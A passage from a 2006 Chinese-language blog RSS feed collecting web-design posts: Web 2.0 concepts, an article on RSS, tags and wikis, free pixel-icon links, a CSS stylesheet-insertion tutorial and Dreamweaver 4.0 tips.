color="#003366">英文版维基百科</font></a>）</p><p>虽然这只是一家之言，不过，对于其中谈到的几个要素，大家还是公认的。</p><p>- 基于RSS/ATOM/RDF/FOAF等XML数据的同步、聚合和迁移。</p><p>数据不再和页面和网站混粘在一起，它独立了，它跟着用户走。这是Web 2.0的很重要特征。这也是为什么Blog是Web 2.0的代表的原因。在网志上，常主角的是相互独立的一则则的网志。</p><p>独立，然后有物理表现。现在，就能让他们活跃起来。透过对XML数据的处理，这些内容能被自由的组合，被各种应用程序，不论是Web程序还是桌面程序等呈现和处理。</p><p>（更新：参看商业周刊的<a href="http://www.businessweek.com/technology/content/feb2005/tc2005028_3828_tc203.htm"><font color="#003366">All Your Info in One Place</font></a>）</p><p>当然，最重要的是背后的人。</p><p>- 社会性因素。</p><p>内容跟着人走，内容又能够被用户自由的组合，也就是说，用户能够自由的借助内容媒介，创建起一个个的社群，发生各种社会性的（网络）行为。</p><p>此外还有标签以及建立在开放标签系统之上的Folksonomy。</p><p>- 第三个公认的因素是开放API，这个技术性稍强些，得另花时间研习，可以先看看例子：amazon、flickr、google map等。<br /></p><table cellspacing="0" cellpadding="0" width="100%" border="0"><tbody><tr><td class="news" id="zoom" valign="top"><p style="TEXT-INDENT: 2em"><span style="TEXT-DECORATION: none"><p>（Web 2.0是个大筐，装了好多东西）</p><p>从Web应用的产品/服务生产者角度来说，该如何创建Web 2.0的产品呢？</p><p>重要的是要抓住这么几点，一个是微内容（这里有<a href="http://novaspivack.typepad.com/nova_spivacks_weblog/2003/12/defining_microc.html"><font color="#003366">定义</font></a>），一个是用户个体。除了这两个最基本的之外，还可以考虑社群内的分享以及提供API。</p><p>微内容：英文是microcontent。用户所生产的任何数据都算是微内容，比如一则网志，评论，图片，收藏的书签，喜好的音乐列表、想要做的事情，想要去的地方、新的朋友等等。这些微内容，充斥着我们的生活、工作和学习，它的数量、重要性，还有我们对它的依赖，并不亚于那些道貌岸然、西装革履的正统文章、论文、书籍。</p><p>对微内容的重新发现和利用，是互联网所开创的平等、民主、自由风气的自然衍生，也是互联网相关技术消减信息管理成本之后的一个成果。</p><p>我们每天都生产众多的微内容，也消费着同样多的微内容。对于Web 2.0来说，如何帮助用户管理、维护、存储、分享、转移微内容，就成了关键。</p><p>用户个体。对于Web 1.0的典型产品/服务来说，用户没有具体的面貌、个性，它只是一个模糊的群体的代名词而已。但是对于Web2.0的产品和服务来说，用户是个实实在在的人。Web 2.0所服务的，是具体的人，而不是一个如同幽灵般的概念。并且，这个人的具体性，会因为服务本身而不断地充实起来。</p><p>如何为这个具体的个体服务，是Web 2.0设计的起点。</p><p>因此，一类可以被称作Web 2.0的产品/服务将是这样：</p><p>服务于用户个体的微内容的收集、创建、发布、管理、分享、合作、维护等的平台。</p><p>这是表。</p><p>里呢，恐怕就设计到好些人<a href="http://www.digital-web.com/articles/web_2_for_designers/"><font color="#003366">提到的</font></a>，微内容的XML表现；微内容的聚合；微内容的迁移；社会性关系的维护；界面的易用性等等。</p><p>其质，是否就是开源、参与、个人价值、草根、合作等等？</p></span></p></td></tr><tr><td>　</td></tr></tbody></table></span>
<img src ="http://www.cppblog.com/Jeff-Chen/aggbug/6854.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-05-10 09:41 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6854.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>RSS、Tag、Wiki：令互联网跳动的技术力量</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6853.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Wed, 10 May 2006 01:39:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6853.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/6853.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6853.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/6853.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/6853.html</trackback:ping><description><![CDATA[　同RSS技术类似，Tag也是用来对付越来越多的网络信息的。而它的功能则主要是内容分类。用过Gmail的用户应该熟悉Tag，在信箱中用户可以为每封邮件添加多个关键字分类信息，比如工作、广告、计划书、已完成等随心所欲的分类。<br /><p>　　新技术的出现带动了更丰富的网络应用，忽视它们则会令你失去互联网</p><p>　　<strong>RSS</strong></p><p>　　最近在浏览许多新闻网站时，用户都会惊奇的发现一些写有“XML”字样的桔黄色图标频繁出现。如果使用普通浏览器的用户点击后只能看到一个写满了天书的页面。这是一种最近十分流行的网络技术，被称为RSS（Really Simple Syndication）。通过专用的RSS阅读工具，用户能够快速浏览大量的网页内容，如新闻或者网络日志。最初RSS主要是应用在民间的网络日志之中。但由于其易用性迅速受到了欢迎。如今Businessweek、Forbes和New York Times等著名传统媒体的网站中，也都添加了RSS功能。</p><p>　　使用RSS阅读工具的用户可以订阅自己关注的网站的内容，点击那个桔黄色的图标便可以得到RSS种子并且保存到阅读工具中。RSS阅读工具会自动连接那些网站检查并显示更新内容的标题和摘要内容。</p><p>　　看起来时髦、新奇的RSS技术其实早在1997年左右就已经开发出来，但直到今天才焕发光彩。这其中一个很大的原因是数百万网络日志的出现造成了用户的阅读困难。越来越多的公司开始关注RSS技术，除了那些开发RSS阅读软件的厂商外，苹果公司的Safari浏览器就内置了RSS阅读工具。而且微软也计划在未来版本的IE浏览器中支持RSS阅读。而另一些RSS服务提供商则支持在线RSS阅读功能，Bloglines是它们中最有名的家伙。</p><p>　　<strong>Tag</strong></p><p>　　同RSS技术类似，Tag也是用来对付越来越多的网络信息的。而它的功能则主要是内容分类。用过Gmail的用户应该熟悉Tag，在信箱中用户可以为每封邮件添加多个关键字分类信息，比如工作、广告、计划书、已完成等随心所欲的分类。而检索时可以按照其中任何一个或者几个Tag关键字进行搜索。这极大丰富了检索信息的方法和结果的准确性。</p><p>　　例如我曾经在某个网站上看到了一篇关于效力于NBA骑士队的立陶宛球星伊尔戈斯卡斯讲述他家乡的故事，而当我想再次阅读这篇文章时却无法记起这个立陶宛人拗口的名字，而对他的家乡是哪儿也毫无印象。我如何搜索得到这篇文章呢？Tag就能够帮助我解决这个问题，当我看到这篇文章的时候，可以把它的链接保存在del.icio.us等网络书签中，然后为其添加一个NBA的Tag。这样日后当我检索的时候就能够轻松的把它找到。忘掉那些存储文件夹吧！</p><p>　　Yahoo公司目前十分重视Tag技术，因为它代表了一种新的组织和管理在线信息的方式。它不同于传统的、针对文件本身的关键字检索，而是一种模糊化、智能化的分类。这更加符合用户使用的顺滑感和提高检索结果的相似程度，将会极大的促进用户查询数字文件的能力，照片、视频等多媒体数字文件都可以打上Tag的标签进行管理。Tag本身绝对无法取代Yahoo和Google这样的搜索引擎，但如果日后Tag的应用逐渐增长，那么搜索引擎的使用量一定会减少。</p><p>　　<strong>Wiki</strong></p><p>　　几乎所有人了解Wiki都是从网络上开放百科全书Wikipedia,开始的，在这之前没有人见过这样一个任何人都可以动手修改的网站。从2001年开始，成千上万名志愿者以50种语言完成了这部网络百科全书中500万篇文章，这一切都得感谢Wiki！</p><p>　　Wiki一词来源于夏威夷语的“wee kee wee kee”，原本是“快点快点”的意思。沃德·坎宁安在1995年创建了Wiki的概念和相应的服务系统。这套系统允许那些对编程语言一无所知的人们随意对一个网站内容进行添加、修改。</p><p>　　而如今有软件开发商根据Wiki的理论和机制开发出了协同工作软件。IBM公司的Lotus Notes就属于同类产品。TWiki公司开发的开放源代码Wiki软件自2001年至今已有3.5万人次下载。而这些被下载的程序有2/3用于商业用途，使用者包括迪斯尼、SAP和摩托罗拉这样声名赫赫的公司。</p><img src ="http://www.cppblog.com/Jeff-Chen/aggbug/6853.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-05-10 09:39 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6853.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>超强五一闹洞房（精彩极了）</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/05/09/6833.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Tue, 09 May 2006 11:46:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/05/09/6833.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/6833.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/05/09/6833.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/6833.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/6833.html</trackback:ping><description><![CDATA[
		<a href="http://shehui.pic.daqi.com/bbs/00/458861.html">http://shehui.pic.daqi.com/bbs/00/458861.html</a>
<img src ="http://www.cppblog.com/Jeff-Chen/aggbug/6833.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-05-09 19:46 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/05/09/6833.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>要找免费的Mini pixel icon 到这来</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/05/09/6828.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Tue, 09 May 2006 09:07:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/05/09/6828.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/6828.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/05/09/6828.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/6828.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/6828.html</trackback:ping><description><![CDATA[
		<p>来源：<a href="http://www.webstudio.com.cn/blog">http://www.webstudio.com.cn/blog</a>  ( egoldy flashblog )<br /><br /><strong>1.</strong><a onmouseover="javascript:window.status='http://ndesign-studio.com'; return false;" title="(294 hits)" onmouseout="javascript:window.status=''; return false;" href="http://www.webstudio.com.cn/blog/go.php?http://ndesign-studio.com" target="_blank"><font color="#6c8c37">ndesign-studio.com</font></a><span class="hitcounter">(294 hits)</span>上的320个免费的迷你像素icon. <br />想要的快去下载.不过有一点,如果在你的网站上应用些像素图标超过10个的进候不要忘记要加上ndesign-studio.com的链接.<br /><strong>2.</strong><a onmouseover="javascript:window.status='http://ndesign-studio.com/resources/pixel_icons.htm'; return false;" title="(241 hits)" onmouseout="javascript:window.status=''; return false;" href="http://www.webstudio.com.cn/blog/go.php?http://ndesign-studio.com/resources/pixel_icons.htm" target="_blank"><font color="#6c8c37">sample</font></a><span class="hitcounter">(241 hits)<br /></span><strong>3.</strong><a onmouseover="javascript:window.status='http://ndesign-studio.com/resources/Mini_Pixel_Icons.zip'; return false;" title="(187 hits)" onmouseout="javascript:window.status=''; return false;" href="http://www.webstudio.com.cn/blog/go.php?http://ndesign-studio.com/resources/Mini_Pixel_Icons.zip" target="_blank"><font color="#6c8c37">downlaod</font></a><span class="hitcounter">(187 hits)<br /><strong>4.</strong> 去i<a onmouseover="javascript:window.status='http://www.iconbuffet.com'; return false;" title="(413 hits)" onmouseout="javascript:window.status=''; return false;" href="http://www.webstudio.com.cn/blog/go.php?http://www.iconbuffet.com" target="_blank"><font color="#6c8c37">conbuffet</font></a><span class="hitcounter">(413 hits)</span>注册一个账号，点击free delivery，就可以看到你得到的免费的icon了，各种格式都包括，大小为16*16,24*24,32*32.还包括mac版本．下面是我得到的免费的icon.想得到其它几组icon需要由其它人来分配．不过这个很容易，如果我们得到的是不同的icon组可以进行交换．<br /><img alt="" src="http://www.iconbuffet.com/download/small_preview/37/prev_ltd_taipei_night_market.gif" /></span></p>
		<p>如果你有兴趣并得到不同的组我们就可以交换了．我的这一组名是Taipei Night Market<br /><span class="caps">BTW</span>:几天没回北京，打开电脑，发现macromedia的网站已经变成了adobe.，页面风格也趋近于adobe.虽然早就知道会有这么一天．但macromedia这个名字真正不在主导地位时，不免有些伤感，从furture splash到今天的flash8，macromedia的努力的结果，收于adobe口袋里．不过不知adobe是不是也有野心想搞搞垄断．:(<br /><strong>5.E-Mail Icon Generator可以生成gmail,msn,aol,yahoo,sina等等许多邮箱的Icon.不需要自已在ＰＳ制作了．以前看有人作过，兴许也是用这个．下面是生成的gmail Icon,:)<br /><img alt="" src="http://www.webstudio.com.cn/wsphoto/mail1.gif" /><br /><img alt="" src="http://www.webstudio.com.cn/wsphoto/mail2.gif" /><br /><img alt="" src="http://www.webstudio.com.cn/wsphoto/mail3.gif" /><br /><img alt="" src="http://www.webstudio.com.cn/wsphoto/mail4.gif" /></strong></p>
		<p>有兴趣的话去生成一个<a onmouseover="javascript:window.status='http://services.nexodyne.com/email/index.php'; return false;" title="(523 hits)" onmouseout="javascript:window.status=''; return false;" href="http://www.webstudio.com.cn/blog/go.php?http://services.nexodyne.com/email/index.php" target="_blank"><font color="#6c8c37">这里</font></a><span class="hitcounter">(523 hits)             URL:  <a href="http://services.nexodyne.com/email/index.php">http://services.nexodyne.com/email/index.php</a></span></p>
<img src ="http://www.cppblog.com/Jeff-Chen/aggbug/6828.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-05-09 17:07 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/05/09/6828.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>如何在网页中插入CSS </title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/05/09/6821.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Tue, 09 May 2006 07:57:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/05/09/6821.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/6821.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/05/09/6821.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/6821.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/6821.html</trackback:ping><description><![CDATA[
		<div align="center">
				<table cellspacing="0" cellpadding="0" width="750" align="center" border="0">
						<tbody>
								<tr>
										<th style="FONT-SIZE: 14pt; LINE-HEIGHT: 150%" valign="top" nowrap="" width="100%">
										</th>
								</tr>
								<tr>
										<td style="FONT-SIZE: 10pt; LINE-HEIGHT: 150%" valign="top" align="left" width="100%">
										</td>
								</tr>
								<tr>
										<td style="FONT-SIZE: 10pt; LINE-HEIGHT: 150%" valign="top" align="left" width="100%">
												<p>前两章我们了解了CSS的语法，但要想在浏览器中显示出效果，就要让浏览器识别并调用。当浏览器读取样式表时，要依照文本格式来读，这里介绍四种在页面中插入样式表的方法：链入外部样式表、内部样式表、导入外表样式表和内嵌样式。</p>
												<p>　　链入外部样式表</p>
												<p>链入外部样式表是把样式表保存为一个样式表文件，然后在页面中?lt;link&gt;标记链接到这个样式表文件，这个&lt;link&gt;标记必须放到页面的&lt;head&gt;区内，如下：<br />&lt;head&gt;<br />……<br />&lt;link rel="stylesheet" type="text/css" href="mystyle.css"&gt;<br />……<br />&lt;/head&gt;<br />上面这个例子表示浏览器从mystyle.css文件中以文档格式读出定义的样式表。rel=”stylesheet”是指在页面中使用这个外部的样式表。type=”text/css”是指文件的类型是样式表文本。href=”mystyle.css”是文件所在的位置。</p>
												<p>一个外部样式表文件可以应用于多个页面。当你改变这个样式表文件时，所有页面的样式都随之而改变。在制作大量相同样式页面的网站时，非常有用，不仅减少了重复的工作量，而且有利于以后的修改、编辑，浏览时也减少了重复下载代码。</p>
												<p>样式表文件可以用任何文本编辑器（例如：记事本）打开并编辑，一般样式表文件扩展名为.css。内容是定义的样式表，不包含HTML标记，mystyle.css这个文件的内容如下：<br />hr {color: sienna}<br />p {margin-left: 20px}<br />body {background-image: url("images/back40.gif")}<br />（定义水平线的颜色为土黄；段落左边的空白边距为20象素；页面的背景图片为images目录下的back40.gif文件）</p>
												<p>　　内部样式表</p>
												<p>内部样式表是把样式表放到页面?lt;head&gt;区里，这些定义的样式就应用到页面中了，样式表是用&lt;style&gt;标记插入的，从下例中可以看出&lt;style&gt;标记的用法：<br />&lt;head&gt;<br />……<br />&lt;style type="text/css"&gt;<br />hr {color: sienna}<br />p {margin-left: 20px}<br />body {background-image: url("images/back40.gif")}<br />&lt;/style&gt;<br />……<br />&lt;/head&gt;</p>
												<p>注意：有些低版本的浏览器不能识别style标记，这意味着低版本的浏览器会忽略style标记里的内容，并把style标记里的内容以文本直接显示到页面上。为了避免这样的情况发生，我们用加HTML注释的方式（&lt;!-- 注释 --&gt;）隐藏内容而不让它显示：<br />&lt;head&gt;<br />……<br />&lt;style type="text/css"&gt;<br />&lt;!--<br />hr {color: sienna}<br />p {margin-left: 20px}<br />body {background-image: url("images/back40.gif")}<br />--&gt;<br />&lt;/style&gt;<br />……<br />&lt;/head&gt;</p>
												<p>　　导入外部样式表</p>
												<p>导入外部样式表是指在内部样式表的&lt;style&gt;里导入一个外部样式表，导入时用@import，看下面这个实例：<br />&lt;head&gt;<br />……<br />&lt;style type=”text/css”&gt;<br />&lt;!--<br />@import “mystyle.css”<br />其他样式表的声明<br />--&gt;<br />&lt;/style&gt;<br />……<br />&lt;/head&gt;<br />例中@import “mystyle.css”表示导入mystyle.css样式表，注意使用时外部样式表的路径。方法和链入样式表的方法很相似，但导入外部样式表输入方式更有优势。实质上它相当于存在内部样式表中的。<br />注意：导入外部样式表必须在样式表的开始部分，在其他内部样式表上面。</p>
												<p>　　内嵌样式</p>
												<p>内嵌样式是混合在HTML标记里使用的，用这种方法，可以很简单的对某个元素单独定义样式。内嵌样式的使用是直接将在HTML标记里加入style参数。而style参数的内容就是CSS的属性和值，如下例：<br />&lt;p style="color: sienna; margin-left: 20px"&gt;<br />这是一个段落<br />&lt;/p&gt;<br />（这个段落颜色为土黄，左边距为20象素）<br />在style参数后面的引号里的内容相当于在样式表大括号里的内容。<br />注意：style参数可以应用于任意BODY内的元素（包括BODY本事），除了BASEFONT、PARAM和SCRIPT。</p>
												<p>　　多重样式表的叠加</p>
												<p>上一章里我们已经提到样式表的层叠顺序，这里我们讨论插入样式表的这几种方法的叠加，如果在同一个选择器上使用几个不同的样式表时，这个属性值将会叠加几个样式表，遇到冲突的地方会以最后定义的为准。例如，我们首先链入一个外部样式表，其中定义了h3选择符的color 、text-alig和font-size属性：<br />h3 <br />{<br />color: red;<br />text-align: left;<br />font-size: 8pt<br />}<br />（标题3的文字颜色为红色；向左对齐；文字尺寸为8号字）<br />然后在内部样式表里也定义了h3选择符的text-align和font-size属性：<br />h3 <br />{<br />text-align: right; <br />font-size: 20pt<br />}<br />（标题3文字向右对齐；尺寸为20号字）<br />那么这个页面叠加后的样式就是：<br />color: red; <br />text-align: right; <br />font-size: 20pt<br />（文字颜色为红色；向右对齐；尺寸为20号字）<br />字体颜色从外部样式表里保留下来，而对齐方式和字体尺寸都有定义时，按照后定义的优先而依照内部样式表。<br />注意：依照后定义的优先，所以优先级最高的是内嵌样式，内部样式表高于导入外部样式表，链入的外部样式表和内部样式表之间是最后定义的优先级高。</p>
										</td>
								</tr>
						</tbody>
				</table>
		</div>
<img src ="http://www.cppblog.com/Jeff-Chen/aggbug/6821.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-05-09 15:57 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/05/09/6821.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Dreamweaver 4.0技巧十二招</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/05/09/6818.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Tue, 09 May 2006 07:24:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/05/09/6818.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/6818.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/05/09/6818.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/6818.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/6818.html</trackback:ping><description><![CDATA[
		<table cellspacing="0" cellpadding="0" width="752" border="0">
				<tbody>
						<tr>
								<td valign="top">
										<div align="left">
												<font class="title" color="#ff0000" size="5">
														<b>　　　　　　　　Dreamweaver 4.0技巧十二招</b>
												</font>
												<br />
												<font class="content">
														<br />
														<br />对想要在可视化的环境下制作复杂网页的专业网页制作者来说，Dreamweaver 已经渐渐在网页编辑工具市场中展露头角，成为专业人士编写网页的最佳选择。以目前的情况来说，Dreamweaver 内建的功能可说是越作越多、越作越丰富、齐备。在这里我要向大家介绍的4.0版本中的一些应用小技巧。<br /><br /><b>1. 让网页页面更有弹性</b><br /><br />有些网页开发者称以下要介绍的这种技巧为 liquid，我在这儿则把这种技巧叫做是 stretchy（弹性延伸的技巧）。这是一种技巧，可在访客浏览器窗口大小改变时也随之调整网页页面大小，因此若是窗口过大就不会有空白处、窗口过小边缘就不会跑出上下移动的拉Bar。其实大多数简单的网页会自己随着浏览器窗口大小来调整页面大小，但是若是网页里用到很多不同的框框及表格，网页页面大小就很难自动弹性地调整。通常网页设计者会用混合运用固定栏宽的框框，和 GIF 图档作为间隔， 来设计网页页面，这样一来不论是用 Internet Explorer 或是用，页面大小都会固定而不会跑掉。用 Dreamweaver 4.0 可以轻而易举的设计出会自动弹性调整的网页。要怎么做呢？<br /><br />用工具面版（Object palette）上的按钮开启网页，并且转换到 格式检视（ Layout view）。这时可以看到文字方块的列宽， 每一列的方框上方中间还有一个小小的下拉式箭头 ，选择想要设定弹性显示的列上方的小箭头，接着选择「将列设为弹性显示」（ Make Column Autostretch）。 （设定自动调整列宽以一列为限）这时该列方框上方就会出现一条波浪形的线，而不是原本表示列宽的数字。 Dreamweaver 会自动制作出固定版面的空格图文件，这个空白图文件是以列上方的两个长条形的空白表格表示，如此版面会自动被填充，才会完成弹性版面设定。（在第一次增加空白图文件时会跳出一个对话框问你是否要使用内建图档，为求效果，我建议你让 Dreamweaver 自动产生一个，不然就不用使用空白图文件来填充版面。）<br /><br /><b>2. 创造个性化调色盘 </b><br /><br />Dreamweaver 4.0 新的 Assets panel（属性控制面板）是一种可以在编辑网站时根据档案型态，例如图片、样板等来管理档案的新工具，当你定义新站台时（选择Site · New Site），所有类型的组件会自动增加到 Asset panel 里的适当表框中。这个加入新的Assets panel属性控制面版里也有颜色框，储存你网站里所用到的所有色彩，包含文字的颜色、背景的颜色，以及连结的颜色等。这是一个为使用者量身定做的网站导向颜色盘。只要激活 Assets panel （先选择 Window · 再选择 Assets），接着选择左方那个小小的色彩滚动条，就可以看到你网站里各式各样的颜色选项。当然你可以将这些颜色拉到某些特定选取的文字中。甚至当你选择某种颜色时，画面上会出现这种颜色的十六进制值的色彩浓淡度，和三色对应码（RGB）。如果想将调色盘工具列缩小一点，甚至可以仅加入某些颜色到调色盘的收藏夹里。只需将选取的颜色反白、选择窗口里一个叫做「添加到我的收藏夹」按钮（最下方靠右的按钮），就完成了。 <br /><br /><b>3. 制作弹出式选单导览系统 </b><br /><br />原本要制作弹出式选单导览系统（Pop-up Menu Navigation System）要用到好一些 JavaScript 的语法技巧，但是若你装了Dreamweaver/Fireworks Studio，轻轻松松即可快速办到。首先在 Fireworks 里开始，选择某个图片， 然后在 Set Pop-Up Menu的对话框里选择 Insert· Pop-Up Menu，你可以输入项目（items）的名称并选择 Plus （加入）按钮，来新增该项目。你可以继续在跳出来的讯息框里进行细项设定，例如设定该项目所要用的文字及连结，当然也可以新增子选单、并重新安排下一层的设定。完成时，选择 Next （下一步），继续设定偏好值，例如颜色、字体等等。这时选单完成后，可以预览 HTML 语法，也可预览影像。再选择 Finish （完成）。这时当鼠标移动到原来的图案时，会出现选单系统的内容一览。 接着将制作好的档案汇出时， Fireworks 会自动生产出所有 Dreamweaver 需要用到的 HTML、JavaScript，以及影像档案。<br /><br /><b>4. 让图档动起来！</b><br /><br />如果你同时安装有 Dreamweaver/Fireworks Studio，这两种产品搭配的完美程度将使你赞不绝口。即使你不是专业的图档设计者，在设计网页时也多多少少想把一些 GIF 图片文件修改得活灵活现。Dreamweaver 可以让你制作动画不求人喔！在标准窗口里选择要进行修改的图片，然后在 Property Inspector 里选择编辑钮（Edit）。如果你安装的 Dreamweaver里附有 Fireworks， Fireworks 就是 Dreamweaver 预设图片编辑器，这时图片就会自动加载到 Fireworks。（若仔细看，各位会发现 Fireworks 的画面会出现 Editing From Dreamweaver 这样的文字和图样，指示你可以由Dreamweaver 里进行图片编辑。） 好了，现在在 Fireworks 里选择要编辑的图片，选择 Modify ·Animate ·Animate Selection。 接下来完成 Animate dialog box 里的设定，选定动画的框架数，动画移动的方向、透明度等等设定。你也可以选择 Frames 工具列设定移动速度，选择 Object 面版来改变设定。要汇出档案时，只要选择 Optimize 工具列，在档案类型的地方选择 Animated GIF。完成以后，Fireworks 就会自动将图片以最佳化设定汇出，并且自动将 GIF 图档更新，还会在 Dreamweaver 里将更新过的图档秀出来。选择 File ·Preview in Browser，这样就可以在浏览器里预览刚刚制作完成的可爱图档！<br /><br /><b>5. 让按钮有闪动效果 </b><br /><br />在 Dreamweaver中，不用有 Flash 程序，也可以制作有闪动效果的 Flash 按钮对象。 4.0 版内建有好几个 Flash 按钮对象，可以制作好几个不同形式的按钮。选择 Insert ·Interactive Images ·Flash Button 就可看到有哪些内建按钮。在对话框内甚至可以用鼠标指到想要使用的按钮形式，然后看看在浏览器里的效果如何。用鼠标光标把要用的按钮形式选起来，再依序输入参数，例如按钮上的文字、字形、颜色、连结等，或是自定文件名称。按 下OK。接下来就会有一个 SWF 档产生，档案并会自动置入你的网页中。按一下这个做好的档案，会看到 Property Inspector （属性明细）中会秀出档案的属性。将档案属性秀出来时，如果扩展档案属性明细表，会出现 Play （播放）钮，选择之后可以不用开启浏览器来预视按钮的闪动效果。<br /><br /><b>6. 制作流动文字</b><br /><br />在网页中增加 流动文字就像增加我刚刚介绍的 Flash 按钮一样简单。相同地，不用安装 Flash，用 Dreamweaver 4.0 提供的新功能就可以轻松办到。常用 HTML 语法写网页、没有交互式媒体经验的网页制作者也可以轻松制作出小巧的 Flash 形式的流动文字。根据 Macromedia 表示，有97%的网络使用者可以观看有 Flash 效果的网页，因此这项新功能可以在不添加兼容性麻烦的情况下为网页增添一些浏览上与读者的互动性。选择Insert ·Interactive Images ·Flash Text，再将偏好设定一一填入（例如要变更效果的文字、字形、字体颜色及字体大小等等）。<br /><br /><b>7. 更改键盘快速键 </b><br /><br />Dreamweaver 可让使用者自定使用接口，这项设计十分有弹性。举例来说，使用者可以通过撰写程序（programming）或自行增加对象（object）的方式来更改选单。不必功力高深，你就可以更改键盘快速键，因为 Dreamweaver 有一项叫做Keyboard Shortcut Editor的图形接口，只要选择 Edit ·Keyboard Shortcuts，对话框将加载并列出可以更动的快速键一览表，让你把快速键改成自己习惯用的设定值。要更动快速键，只要使用现行设定（Current Set）和指令列（Command）的下拉选单，在现有的指令中找到想要更改的指令，接着选取目前的快速键，就会出现在快速键的列表中。另外，若要增加快速键设定，可以选择 Plus 钮、在键盘上敲入你想使用的新快速代表键，选择变更（Change）即可。同时你也可以选取某快速键、选择移除键（Minus ），就可以移除某个快速键。<br /><br /><b>8. 重新设定网站窗口（Site window）列宽 </b><br /><br />只要从 Site window 中选择View ·File View Columns ，就可以自定检视网站 （Site view）时列宽的大小及呈现方式。选取一列宽的名称，使用上下箭头重新调整，或不要勾选显示字段（Show field）以隐藏该列。另外，选择 Plus 钮也可以新增列，并自创列名。此外，你也可以借着在下拉式选单中选择现有的 note 来将列和 Design Note 产生关连。<br /><br /><b>9. 阅读网页原始档 </b><br /><br />当你开启 O'Reilly Code Reference（Window ·Reference）来检查属性或是浏览器的兼容性时，预设的窗口会以细小的字型显示出参考设定值。但是若你按下窗口右上方的右键钮（就在关闭按钮的下方），就会出现一排下拉式选单，可以在这边选择原始文件字体的大小（小型字，到中型字体以及大型字体）。选择大型字体比较不会虐待眼睛，因为这样你看 HTML 原始档时就不用拿着放大镜看屏幕了！<br /><br /><b>10. 新增 Flash 按钮 </b><br /><br />在上面我已经教你如何用20种预设的按钮类型，来制作 Dreamweaver 里的 Flash 按钮。这是不用另外安装任何档案或程序的方法。底下有另一种方法，就是安装Fireworks buttons，这种扩充功能和技巧五有相同效果。到 Exchange for Dreamweaver（Dreamweaver 扩充功能交换中心） ，输入"InstaGraphics Extensions for Dreamweaver" 的关键词搜寻，然后再下载这个 577K 的档案。转换到 Dreamweaver，选择 Commands ·Manage Extensions，再选择 File ·Install Extension，就可以开始安装。一旦重新激活 Dreamweaver，就有六个新奇有趣的按钮型态，包括 Surfboard 及 Bulletbar 在内， 这时只要使用 Insert ·Interactive Images ·Fireworks Button 指令，就可以制作出一个酷炫的按钮。你也可以用 commands ·Convert Bullets To Images 及 Commands ·Convert 